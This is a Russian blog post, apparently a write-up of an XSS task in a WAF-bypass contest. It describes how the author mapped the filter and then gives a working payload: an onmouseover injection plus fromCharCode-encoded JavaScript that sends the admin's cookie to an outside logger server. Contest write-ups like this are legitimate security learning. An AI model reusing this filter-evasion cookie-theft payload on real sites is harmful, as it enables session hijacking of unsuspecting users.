Покой нам только снится или XSS @ WAF Bypass @ CC’11

Покой нам только снится или XSS @ WAF Bypass @ CC’11

Говорят, отпуск с ноутбуком называется fuckation.

В первый же день своего отпуска на море не смог удержаться и расчехлил ноутбук, а там – конкурс по обходу WAF , подготовленный Владимиром Воронцовым и ONSEC , доступен в Интернете! Неожиданно!

До трансляции матча ЦСКА-Спартак оставалось всего два часа, которые было решено потратить на прохождение задания по XSS (мне XSS всегда больше нравится, чем SQLi).


Есть форма обратной связи, в которую вводится имя и текст:



Задача – угнать cookie администратра. Известно, что тот использует последнюю версию браузера Chrome.


Первым делом мы всегда пытаемся отреверсить логику проверки входных данных и их последующего использования в тексте генерируемой страницы. После сабмита формы значениями «abc def» в поле name и «ghi jkl» в поле text мы получили следующую страницу:



Со следующим исходным кодом (красным отмечены места документа, куда попали введенные данные):



Видно, что у нас получилось выйти за пределы аттрибута для значения поля «name» за счет пробела. Продолжая передавать спец-символы и всякие интересные конструкции, мы пришли к выводу, что логика проверки входных данных работает примерно так:

– параметр name ограничен по длине 41 символом;

– из вводимых данных удаляются следующие символы: %00 # ` { } /* */ ' и "

– из вводимых данных удаляются следующие ключевые слова: document, cookie, eval;

– работает проактивная защита, которая заблокирует запрос в случае, если в его параметрах будет слишком много специальных символов.


В итоге мы с Александром Раздобаровым, поняв эти ограничения, пришли к такому вектору атаки:

Значение параметра name:


1 onmouseover=setTimeout(innerHTML,1)

Значение параметра text:


var b = String.fromCharCode(100,111,99,117,109,101,110,116);var c = String.fromCharCode(99,111,111,107,105,101);var d = String.fromCharCode(104,116,116,112,58,47,47,49,53,56,46,50,53,48,46,49,55,46,49,48,53,58,56,48,56,48,47,115,101,114,118,108,101,116,47,70,105,114,115,116,76,111,103,103,101,114,63,99,61);var i = new Image();i.src= d + this[b][c];this[b].body.appendChild(i);//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

После чего успешно угнали плюшки администратора:



Владимир говорил, что есть способ реализовать XSS, не требующий действий со стороны администратора (у нас требуется onmouseover). Лично я не знаю, как выполнить javascript из аттрибута style в Chrome. Так что очень жду разбора задания от Владимира.



Uncategorized CTF конференции копилка просто о сложном
Alt text

Если вам нравится играть в опасную игру, присоединитесь к нам - мы научим вас правилам!

Подписаться